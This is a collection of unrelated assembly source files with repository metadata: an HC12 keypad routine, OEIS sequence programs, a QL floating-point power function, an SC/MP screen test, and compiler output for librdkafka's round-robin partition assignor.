00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | 495bbd61fb8b35637979b6ab98b53cf22bba0cd4 | Assemblycode:Assembly | {"size": 1493, "ext": "asm", "max_stars_repo_path": "PROGS/teclado.asm", "max_stars_repo_name": "carlos-santiago-2017/HC12-MicrocontrollerNotes", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "PROGS/teclado.asm", "max_issues_repo_name": "carlos-santiago-2017/HC12-MicrocontrollerNotes", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PROGS/teclado.asm", "max_forks_repo_name": "carlos-santiago-2017/HC12-MicrocontrollerNotes", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 21.9558823529, "max_line_length": 60, "alphanum_fraction": 0.4340254521} | ORG $100
PORTA EQU $1000
PORTB EQU $1004
MASKA EQU $03
INICIO CLR PORTB
LDS #FINPRO+10
SECDEC JSR RUTEC ; SECUENCIA DE
LDAA BANTEC; DETECCION DE TECLA
BEQ SECDEC;BANTEC=0 ->NO HAY TECLA OPRIMIDA
PRUINC LDAA REGTEC
CMPA #01
BEQ INCREPB
CMPA #02
BEQ DECREPB
BRA SECDEC
INCREPB INC PORTB
BRA SECDEC
DECREPB DEC PORTB
BRA SECDEC
;**********************************************************
; SUBRUTINA
;**********************************************************
RUTEC CLR BANTEC
LDAA PORTA
ANDA #MASKA
CMPA #MASKA
BEQ SALTEC; NO HUBO TECLA
BSR REBOTE
LDAA PORTA
ANDA #MASKA
CMPA #MASKA
BEQ SALTEC
CLR REGTEC
LDAA BANTEC
CMPA #$02
BNE REGTEC
INC REGTEC
CLR BANTEC
DEC BANTEC ; BANTEC=FF
BRA SALTEC
RUTRC1 CMPA #$01
BEQ RUTEC2
CLR BANTEC
BRA SALTEC
RUTEC2 INC REGTEC
INC REGTEC
CLR BANTEC
DEC BANTEC
SALTEC LDAA PORTA
ANDA #MASKA
CMPA #MASKA
BNE SALTEC
BSR REBOTE
RTS
REBOTE LDX #2C72
REBOTE1 DEX
BNE REBOTE1
RTS
REGTEC RMB 1
BANTEC RMB 1
FINPRO NOP
|
||||
TheStack | 976e623bfb1598d628b55470822a64e993b47bf2 | Assemblycode:Assembly | {"size": 146, "ext": "asm", "max_stars_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_play.asm", "max_stars_repo_name": "prismotizm/gigaleak", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_play.asm", "max_issues_repo_name": "prismotizm/gigaleak", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_play.asm", "max_forks_repo_name": "prismotizm/gigaleak", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.8571428571, "max_line_length": 47, "alphanum_fraction": 0.8150684932} | Name: ys_play.asm
Type: file
Size: 102413
Last-Modified: '2016-05-13T04:50:34Z'
SHA-1: 9B16B62D09DFCC8E819686577E505D7E317D0D5B
Description: null
|
||||
TheStack | 3a14ed54e14234d5e8341dc57d3aa4922a7106ee | Assemblycode:Assembly | {"size": 632, "ext": "asm", "max_stars_repo_path": "oeis/272/A272266.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/272/A272266.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/272/A272266.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 45.1428571429, "max_line_length": 439, "alphanum_fraction": 0.7341772152} | ; A272266: The union of squares (A000290) and 10-gonal numbers (A001107).
; Submitted by Christian Krause
; 1,4,9,10,16,25,27,36,49,52,64,81,85,100,121,126,144,169,175,196,225,232,256,289,297,324,361,370,400,441,451,484,529,540,576,625,637,676,729,742,784,841,855,900,961,976,1024,1089,1105,1156,1225,1242,1296,1369,1387,1444,1521,1540,1600,1681,1701,1764,1849,1870,1936,2025,2047,2116,2209,2232,2304,2401,2425,2500,2601,2626,2704,2809,2835,2916,3025,3052,3136,3249,3277,3364,3481,3510,3600,3721,3751,3844,3969,4000,4096,4225,4257,4356,4489,4522
add $0,1
mov $1,$0
div $1,3
add $1,$0
add $1,2
mov $0,$1
div $0,2
mul $0,$1
div $0,2
|
||||
TheStack | d631ec68d19178f04e482800e81e5a97b9b26e69 | Assemblycode:Assembly | {"size": 554, "ext": "asm", "max_stars_repo_path": "oeis/017/A017460.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/017/A017460.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/017/A017460.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 79.1428571429, "max_line_length": 490, "alphanum_fraction": 0.90433213} | ; A017460: a(n) = (11*n + 5)^12.
; 244140625,281474976710656,150094635296999121,9065737908494995456,191581231380566414401,2176782336000000000000,16409682740640811134241,92420056270299898187776,418596297479370673535601,1601032218567680790102016,5350250105473711181640625,16012035393449278995173376,43716643078717303412870881,110443607719611533356957696,261075123337098804348567681,582622237229761000000000000,1236354171303115835117980561,2509659166022727122011815936,4897252030306448390395044241,9224976748383532391296208896
mul $0,11
add $0,5
pow $0,12
|
||||
TheStack | 76d17c89bc1aa060194b69c5e5234816cc1757f9 | Assemblycode:Assembly | {"size": 6076, "ext": "asm", "max_stars_repo_path": "smsq/qa/powfp.asm", "max_stars_repo_name": "olifink/smsqe", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "smsq/qa/powfp.asm", "max_issues_repo_name": "olifink/smsqe", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "smsq/qa/powfp.asm", "max_forks_repo_name": "olifink/smsqe", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 19.3503184713, "max_line_length": 68, "alphanum_fraction": 0.6102699144} | ; QL Arithmetic Power Floating Point V2.01 1990 Tony Tebby QJUMP
section qa
xdef qa_powfp
xdef qa_powfd
xref qa_powin
xref qa_int
xref qa_flotd
xref qa_divd
xref qa_muld
xref qa_add
xref qa_addd
xref qa_dup
xref qa_swap
xref qa_polyo
xref qa_poly
include 'dev8_keys_err'
;+++
; QL Arithmetic: TOS^D1.D2
;
; Raises TOS to the power of D1 exp D2
;
; Uses Cody and Waite POWER floating point binary.
;
; d0 r error return 0 or ERR.OVFL
; a1 c u pointer to arithmetic stack
; status return standard
;---
qa_powfd
move.l d1,-(a1)
move.w d2,-(a1) ; not very efficient this
;+++
; QL Arithmetic: NOS^TOS
;
; POPS the FP at TOS and raises NOS to the power of it.
;
; Uses Cody and Waite POWER floating point binary.
;
; d0 r error return 0 or ERR.OVFL
; a1 c u pointer to arithmetic stack
; status return standard
;---
qa_powfp
qpf.reg reg d1/d2/d3/d4/d5/d6/d7/a2
move.w (a1),d0 ; exponent
beq.s qpf_zpwr
sub.w #$0800,d0 ; could be integer?
ble.s qpf_float ; ... no
cmp.w #8,d0 ; above this float will be faster
bgt.s qpf_float
move.l d1,-(sp)
move.l 2(a1),d1
add.l d1,d1
lsl.l d0,d1 ; any remainder bits?
movem.l (sp)+,d1
bne.s qpf_float ; ... yes
qpf_int
jsr qa_int
jmp qa_powin ; raise to integer power
qpf_zpwr
tst.l 2(a1) ; true zero?
beq.s qpf_int ; ... yes
qpf_float
movem.l qpf.reg,-(sp)
move.w (a1)+,d7
move.l (a1)+,d6 ; save power
move.w (a1)+,d4 ; exponent
move.l (a1)+,d3 ; mantissa
bgt.s qpf_n.3 ; ... ok
blt.l qpf_erov ; ... oops
tst.l d6 ; zero to negative exponent
bgt.l qpf_ex6 ; ... no
bra.l qpf_erov ; ... yes
qpf_n.3
sub.w #$0800,d4 ; #m true (non-offset exponent)
qpf_n.5 ; #r=0 #g=d3
add.l d3,d3 ; #g*2
qpf_n.6
lea qpf_tab,a2
moveq #4,d5 ; #p
cmp.l 8*4-4(a2,d5.w),d3
bhi.s qpf_p4
moveq #9*4,d5
qpf_p4
cmp.l 4*4-4(a2,d5.w),d3
bhi.s qpf_p2
add.w #4*4,d5
qpf_p2
cmp.l 2*4-4(a2,d5.w),d3
bhi.s qpf_n.7
addq.w #2*4,d5
qpf_n.7 ; #p (*4) now set
move.l (a2,d5.w),d0
move.l d3,d1
moveq #0,d2 ; assume #g=a
sub.l d0,d1 ; #g-a
beq.s qpf_dvga
move.w #$801,d2 ; exponent of #g-a
qpf_nrga
subq.w #1,d2
add.l d1,d1
bvc.s qpf_nrga
qpf_rmga
roxr.l #1,d1 ; restore mantissa
qpf_dvga
move.l d1,-(a1)
move.w d2,-(a1)
add.l d0,d3 ; #g+a
roxr.l #1,d3 ; remove overflow
lsr.l #1,d3 ; normalised form
move.l d3,d1
move.w #$801,d2 ; just greater than one
jsr qa_divd ; #z on stack
qpf_n.8
jsr qa_dup
lea qpf_pcoef,a2 ; p coefficients
jsr qa_polyo ; odd terms only #R(z)+z*K on stack
jsr qa_add ; #U2
qpf_n.9
move.l d6,d1
move.w d7,d2 ; #Y
jsr qa_muld ; #U2*Y
move.w d4,d1
lsl.w #4,d1 ; #m*16
lsr.w #2,d5 ; #p
sub.w d5,d1 ; #m*16-p
jsr qa_flotd
subq.w #4,(a1) ; #U1, #U2*Y on stack
jsr qa_dup ; #U1, #U1, #U2*Y
move.l d6,d1
move.w d7,d2 ; reduce #Y
bsr.l qpf_redu
exg d4,d2
exg d3,d1
jsr qa_muld ; #U1*Y2, #U1, #U2*Y
jsr qa_swap ; #U1, #U1*Y2, #U2*Y
addq.l #6,a1
jsr qa_add ; #W=U2*Y+U1*Y2
sub.w #6*2,a1 ; #U1, (...), #W
move.w d4,d2
move.l d3,d1
jsr qa_muld ; #U1*Y1, (...), #W
move.w 6*2(a1),d2
move.l 6*2+2(a1),d1
bsr.l qpf_redu ; reduce #W
move.w d4,6(a1)
move.l d3,6+2(a1) ; #U1*Y1, #W2, #W
jsr qa_addd ; #W'=W1+U1*Y1, #W2, #W
bsr.l qpf_redp ; reduce #W'
move.w d2,6(a1)
move.l d1,6+2(a1) ; #W2, #W'1
exg d2,d4
exg d1,d3
jsr qa_addd ; #W'2=W2+W'-W'1, #W'1
bsr.s qpf_redp ; reduce #W'2
jsr qa_addd ; #W'1+W"
addq.w #4,(a1) ; *16
jsr qa_int
qpf_n.10.11
bne.s qpf_exit ; ... oops
move.w (a1)+,d7 ; #IW1
; #W''2 is in d3,d4
qpf_n.13
move.l d3,-(a1) ; #W''2 onto stack
move.w d4,-(a1)
tst.l d3 ; <=0?
ble.s qpf_setm ; ... yes
addq.w #1,d7
bvs.s qpf_erov
move.w #$7fc,d2
move.l #$80000000,d1 ; subtract 1/16
jsr qa_addd
qpf_setm
move.w d7,d0 ; keep #IW1
asr.w #4,d7 ; #m'
addq.w #1,d7 ; ... adjusted to make p>0
qpf_setp
move.w d7,d6
asl.w #4,d6
sub.w d0,d6 ; #p'
qpf_n.14
lea qpf_qcoef,a2
jsr qa_poly ; #Z
qpf_n.15
lsl.w #2,d6 ; #p*4
beq.s qpf_add1 ; #A1(p+1) is 1
move.l qpf_tab(pc,d6.w),d1 ; #A1(p+1)
move.w #$800,d2
addq.l #1,d1 ; round up
lsr.l #1,d1 ; normalised
jsr qa_muld ; #A1(p+1)*Z
bra.s qpf_ada1
qpf_add1
move.l #$40000000,d1 ; add 1
move.w #$801,d2
qpf_ada1
jsr qa_addd ; Z=#A1(p+1)+A1(p+1)*Z
add.w d7,(a1) ; correct exponenet
qpf_exok
moveq #0,d0
qpf_exit
movem.l (sp)+,qpf.reg
rts
qpf_ex6
subq.l #6,a1 ; keep zero
bra.s qpf_exok
qpf_ovx4
addq.l #4,sp ; remove return
qpf_erov
moveq #err.ovfl,d0
bra.s qpf_exit
qpf_redp
move.w (a1)+,d2 ; pop number to reduce
move.l (a1)+,d1
; d1,d2 call fp
; d3,d4 return < 1/16
; d1,d2 return reduced by d3,d4
qpf_redu
move.w d2,d4 ; a copy
move.l d1,d3
beq.s qpf_rts ; 0,0
move.w #$81b,d0 ; scrub all but part >1/16
sub.w d2,d0
blt.s qpf_ovx4 ; ... oops, none
cmp.w #31,d0 ; all <1/16?
bge.s qpf_zero
asr.l d0,d1
asl.l d0,d1 ; ms bit
sub.l d1,d3 ; all that is left
beq.s qpf_uflow ; ... nothing
move.w #$07fc,d4
move.w d2,d0
sub.w d4,d0
asl.l d0,d3 ; pre-normalise
move.l d3,d0 ; re-normalise
qpf_rnlp
add.l d0,d0 ; double up
bvs.s qpf_rts ; ... oops, done
subq.w #1,d4 ; decrease exponent
blt.s qpf_uflow ; no more
move.l d0,d3
bra.s qpf_rnlp
qpf_uflow
moveq #0,d4 ; underflowed
qpf_rts
rts
qpf_zero
moveq #0,d2 ; none >1/16
moveq #0,d1
rts
qpf_tab
dc.l $ffffffff
dc.l $F5257D15
dc.l $EAC0C6E8
dc.l $E0CCDEEC
dc.l $D744FCCB
dc.l $CE248C15
dc.l $C5672A11
dc.l $BD08A39F
dc.l $B504F334
dc.l $AD583EEA
dc.l $A5FED6AA
dc.l $9EF53261
dc.l $9837F052
dc.l $91C3D374
dc.l $8B95C1E4
dc.l $85AAC368
dc.l $80000000
dc.w $0000,$0000,$0000 ; q0
dc.w $0800,$58B9,$0BFB ; q1
dc.w $07FE,$7AFE,$F7F7 ; q2
dc.w $07FC,$71AC,$1B53 ; q3
dc.w $07FA,$4EC6,$A59B ; q4
dc.w $07F7,$558A,$8C38 ; q5
dc.w 5 ; order 5
qpf_qcoef
dc.w $07FF,$7154,$7652
dc.w $07FD,$7B1C,$26FD
dc.w $07FB,$49E7,$80B7
dc.w 5 ; order 5
qpf_pcoef
end
|
||||
TheStack | cfe6bb6e5e9266a08bd172fc310428e9eed5686c | Assemblycode:Assembly | {"size": 1585, "ext": "asm", "max_stars_repo_path": "software/screen_test/screentest.asm", "max_stars_repo_name": "paulscottrobson/retrochallenge-jan-2016", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "software/screen_test/screentest.asm", "max_issues_repo_name": "paulscottrobson/retrochallenge-jan-2016", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "software/screen_test/screentest.asm", "max_forks_repo_name": "paulscottrobson/retrochallenge-jan-2016", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 35.2222222222, "max_line_length": 114, "alphanum_fraction": 0.2239747634} | ; ****************************************************************************************************************
; ****************************************************************************************************************
;
; Screen Test
;
; ****************************************************************************************************************
; ****************************************************************************************************************
; ****************************************************************************************************************
; Memory Allocation
; ****************************************************************************************************************
cpu sc/mp
include ..\monitor_rom\macros.asm ; macros required.
; ****************************************************************************************************************
; Main Program
; ****************************************************************************************************************
org 0x9000 ; the ROM starts here
db 0x68 ; this makes it boot straight into this ROM.
lpi p2,0xFFF ; set up stack
lpi p3,Print-1 ; clear screen
ldi 12
xppc p3
loop:
ldi ']' ; Prompt
xppc p3
lpi p3,GetString-1 ; Input a string
lpi p1,0xD00
ldi 15
xppc p3
lpi p3,Print-1 ; Echo it
ldi 0
xppc p3
ldi 13
xppc p3
jmp loop
include ..\monitor_rom\screen.asm ; screen I/O stuff.
|
||||
TheStack | c41f460b7d6b610b5744839b73d81b51b40dd0fa | Assemblycode:Assembly | {"size": 1882, "ext": "asm", "max_stars_repo_path": "programs/oeis/027/A027025.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/027/A027025.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/027/A027025.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 125.4666666667, "max_line_length": 1582, "alphanum_fraction": 0.8815090329} | ; A027025: a(n) = T(n,n+3), T given by A027023.
; 1,11,33,77,161,319,613,1157,2161,4011,7417,13685,25217,46431,85453,157229,289249,532075,978705,1800189,3311137,6090207,11201717,20603253,37895377,69700555,128199401,235795557,433695745,797690943,1467182493,2698569437,4963443137,9129195339,16791208193,30883846957,56804250785,104479306239,192167404293,353450961637,650097672497,1195716038763,2199264673241,4045078384853,7440059097217,13684402155679,25169539638125,46294000891405,85147942685601,156611483215531,288053426792945,529812852694493,974477762703393,1792344042191263,3296634657589589,6063456462484693,11152435162266001,20512526282340747,37728417907091913,69393379351699141,127634323541132289,234756120799923839,431783823692755773,794174268033812413,1460714212526492545,2686672304253061259,4941560784813366753,9088947301592921101,16717180390659349665,30747688477065638079,56553816169317909413,104018685037042897733,191320189683426445809,351892690889787253547,647231565610256597689,1190444446183470297653,2189568702683514149505,4027244714477241045471,7407257863344225493261,13624071280504980688877,25058573858326447228257,46089903002175653411051,84772548141007081328849,155921025001509181968829,286783476144691916709409,527477049287208180007775,970181550433409278686709,1784442075865309375404597,3282100675585926834099793,6036724301884645488191819,11103267053335881697696937,20422092030806454019989285,37562083386026981205878785,69087442470169316923565759,127071617887002752149434589,233721143743199050278879901,429880204100371119351881025,790672965730572921780196299,1454274313574143091410958017,2674827483405087132543036141
add $0,1
mov $1,$0
mul $0,2
seq $1,18921 ; Define the generalized Pisot sequence T(a(0),a(1)) by: a(n+2) is the greatest integer such that a(n+2)/a(n+1) < a(n+1)/a(n). This is T(4,8).
mov $2,2
add $2,$0
mov $0,$1
sub $0,$2
sub $0,4
mul $0,2
add $0,1
|
||||
TheStack | b2b83e57353647f278d2a0e0088c5f9731d30724 | Assemblycode:Assembly | {"size": 44936, "ext": "asm", "max_stars_repo_path": "asg/asm/rdkafka_roundrobin_assignor.asm", "max_stars_repo_name": "asgkafka/librdkafka", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "asg/asm/rdkafka_roundrobin_assignor.asm", "max_issues_repo_name": "asgkafka/librdkafka", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "asg/asm/rdkafka_roundrobin_assignor.asm", "max_forks_repo_name": "asgkafka/librdkafka", "max_forks_repo_forks_event_min_datetime": "2021-05-05T11:49:00.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-05T11:49:00.000Z"} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 29.2933507171, "max_line_length": 72, "alphanum_fraction": 0.4703578423} | *PROCESS DUPALIAS
*
* Compiled by DCC Version 2.25.07 Mar 6 2021 08:51:07
* on Fri Apr 30 15:35:58 2021
*
WXTRN @@ZARCH#
*
*
*
* Code Section
*
@CODE ALIAS X'7CD9C4D2C1C6D2C16DD9D6E4D5C4D9D6C2C9D56DC1E2E2C9C7D5D6*
D9'
@CODE CSECT
@CODE AMODE ANY
@CODE RMODE ANY
@DATA ALIAS X'7C998492818692816D9996A4958499968289956D81A2A289879596*
99'
rd_kafka_topic_partition_list_add ALIAS X'99846D92818692816DA3969789836*
D978199A389A38996956D9389A2A36D818484'
EXTRN rd_kafka_topic_partition_list_add
qsort ALIAS C'qsort'
EXTRN qsort
rd_kafka_group_member_cmp ALIAS X'99846D92818692816D879996A4976D9485948*
285996D839497'
EXTRN rd_kafka_group_member_cmp
rd_kafka_group_member_find_subscription ALIAS X'99846D92818692816D87999*
6A4976D9485948285996D868995846DA2A482A283998997A3899695'
EXTRN rd_kafka_group_member_find_subscription
rd_kafka_assignor_topic_cmp ALIAS X'99846D92818692816D81A2A289879596996*
DA3969789836D839497'
EXTRN rd_kafka_assignor_topic_cmp
rd_kafka_assignor_add ALIAS X'99846D92818692816D81A2A289879596996D81848*
4'
EXTRN rd_kafka_assignor_add
rd_kafka_assignor_get_metadata_with_empty_userdata ALIAS X'99846D928186*
92816D81A2A289879596996D8785A36D9485A3818481A3816DA689A3*
886D859497A3A86DA4A285998481A381'
EXTRN rd_kafka_assignor_get_metadata_with_empty_userdata
rd_kafka_log0 ALIAS X'99846D92818692816D939687F0'
EXTRN rd_kafka_log0
*
*
*
* ....... start of rd_kafka_roundrobin_assignor_assign_cb
rd_kafka_roundrobin_assignor_assign_cb ALIAS X'99846D92818692816D9996A4*
958499968289956D81A2A289879596996D81A2A28987956D8382'
@LNAME1917 DS 0H
DC X'00000026'
DC C'rd_kafka_roundrobin_assignor_ass'
DC C'ign_cb'
DC X'00'
rd_kafka_roundrobin_assignor_assign_cb DCCPRLG CINDEX=1917,BASER=12,FRA*
ME=256,ENTRY=YES,ARCH=ZARCH,LNAMEADDR=@LNAME1917
LGR 9,1 ; ptr to parm area
* ******* End of Prologue
* *
LG 7,0(0,9) ; rk
LG 8,32(0,9) ; members
* *** unsigned int ti;
* *** int next = -1;
LHI 4,-1 ; -1
* ***
* ***
* *** qsort(eligible_topics, eligible_topic_cnt, sizeof(*eligible\
* _topics),
* *** rd_kafka_assignor_topic_cmp);
LG 15,48(0,9) ; eligible_topics
STG 15,176(0,13)
LG 15,56(0,9) ; eligible_topic_cnt
STG 15,184(0,13)
MVGHI 192(13),8
LG 15,@lit_1917_1 ; rd_kafka_assignor_topic_cmp
STG 15,200(0,13)
LA 1,176(0,13)
LG 2,@lit_1917_2 ; qsort
LGR 15,2
@@gen_label0 DS 0H
BALR 14,15
@@gen_label1 DS 0H
* ***
* ***
* *** qsort(members, member_cnt, sizeof(*members),
* *** rd_kafka_group_member_cmp);
STG 8,176(0,13)
LG 15,40(0,9) ; member_cnt
STG 15,184(0,13)
MVGHI 192(13),104
LG 15,@lit_1917_3 ; rd_kafka_group_member_cmp
STG 15,200(0,13)
LA 1,176(0,13)
LGR 15,2
@@gen_label2 DS 0H
BALR 14,15
@@gen_label3 DS 0H
* ***
* *** for (ti = 0 ; ti < eligible_topic_cnt ; ti++) {
LHI 3,0 ; 0
B @L631
DS 0D
@FRAMESIZE_1917 DC F'256'
@lit_1917_2 DC AD(qsort)
@lit_1917_1 DC AD(rd_kafka_assignor_topic_cmp)
@lit_1917_3 DC AD(rd_kafka_group_member_cmp)
@lit_1917_7 DC AD(rd_kafka_group_member_find_subscription)
@lit_1917_9 DC AD(rd_kafka_log0)
@lit_1917_8 DC AD(@strings@)
@lit_1917_10 DC AD(rd_kafka_topic_partition_list_add)
@L630 DS 0H
* *** rd_kafka_assignor_topic_t *eligible_topic = el\
* igible_topics[ti];
LLGFR 15,3
LG 1,48(0,9) ; eligible_topics
SLLG 15,15,3(0) ; *0x8
LG 6,0(15,1)
* *** int partition;
* ***
* ***
* ***
* *** for (partition = 0 ;
LHI 2,0 ; 0
* *** partition < eligible_topic->metadata->partition_cnt\
* ;
* *** partition++) {
B @L635
* *** rd_kafka_group_member_t *rkgm;
* ***
* ***
* ***
* *** do {
@L638 DS 0H
* *** next = (next+1) % member_cnt;
AHI 4,1
LGFR 5,4
LGHI 4,0
DLG 4,40(0,9) ; member_cnt
* *** } while (!rd_kafka_group_member_find_s\
* ubscription(
* *** rk, &members[next],
* *** eligible_topic->metad\
* ata->topic));
STG 7,176(0,13)
LGFR 15,4
MGHI 15,104
LA 15,0(15,8)
STG 15,184(0,13)
LG 15,0(0,6) ; eligible_topic
LG 15,0(0,15)
STG 15,192(0,13)
LA 1,176(0,13)
LG 15,@lit_1917_7 ; rd_kafka_group_member_find_subscription
@@gen_label4 DS 0H
BALR 14,15
@@gen_label5 DS 0H
LTR 15,15
BZ @L638
* ***
* *** rkgm = &members[next];
LGFR 15,4
MGHI 15,104
LA 5,0(15,8)
* ***
* *** do { if ((((rk)->rk_conf.debug & (0x100)))) rd_kafka_\
* log0(&rk->rk_conf,rk,((void *)0), 7,(0x100), "ASSIGN","roundrobin: M\
* ember \"%s\": " "assigned topic %s partition %d", rkgm->rkgm_member_\
* id->str, eligible_topic->metadata->topic, partition); } while (0);
@L641 DS 0H
TM 802(7),1
BZ @L644
LA 15,528(0,7)
STG 15,176(0,13)
STG 7,184(0,13)
XC 192(8,13),192(13)
MVGHI 200(13),7
MVGHI 208(13),256
LG 15,@lit_1917_8
STG 15,216(0,13)
LA 15,8(0,15)
STG 15,224(0,13)
LG 15,64(0,5) ; offset of rkgm_member_id in rd_kafka_group*
_member_s
LG 15,8(0,15)
STG 15,232(0,13)
LG 15,0(0,6) ; eligible_topic
LG 15,0(0,15)
STG 15,240(0,13)
LGFR 15,2
STG 15,248(0,13)
LA 1,176(0,13)
LG 15,@lit_1917_9 ; rd_kafka_log0
@@gen_label8 DS 0H
BALR 14,15
@@gen_label9 DS 0H
@L644 DS 0H
* ***
* *** # 102 "C:\asgkafka\librdkafka\src\rdkafka_roundrobin_assignor.\
* c"
* *** rd_kafka_topic_partition_list_add(
* *** rkgm->rkgm_assignment,
* *** eligible_topic->metadata->topic, partition);
LG 15,8(0,5)
STG 15,176(0,13)
LG 15,0(0,6) ; eligible_topic
LG 15,0(0,15)
STG 15,184(0,13)
LGFR 15,2
STG 15,192(0,13)
LA 1,176(0,13)
LG 15,@lit_1917_10 ; rd_kafka_topic_partition_list_add
@@gen_label10 DS 0H
BALR 14,15
@@gen_label11 DS 0H
* ***
* *** }
AHI 2,1
@L635 DS 0H
LG 15,0(0,6) ; eligible_topic
C 2,8(0,15)
BL @L638
* *** }
AHI 3,1
@L631 DS 0H
LLGFR 15,3
CLG 15,56(0,9)
BL @L630
* ***
* ***
* *** return 0;
LGHI 15,0 ; 0
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_kafka_roundrobin_assignor_ass
* ign_cb"
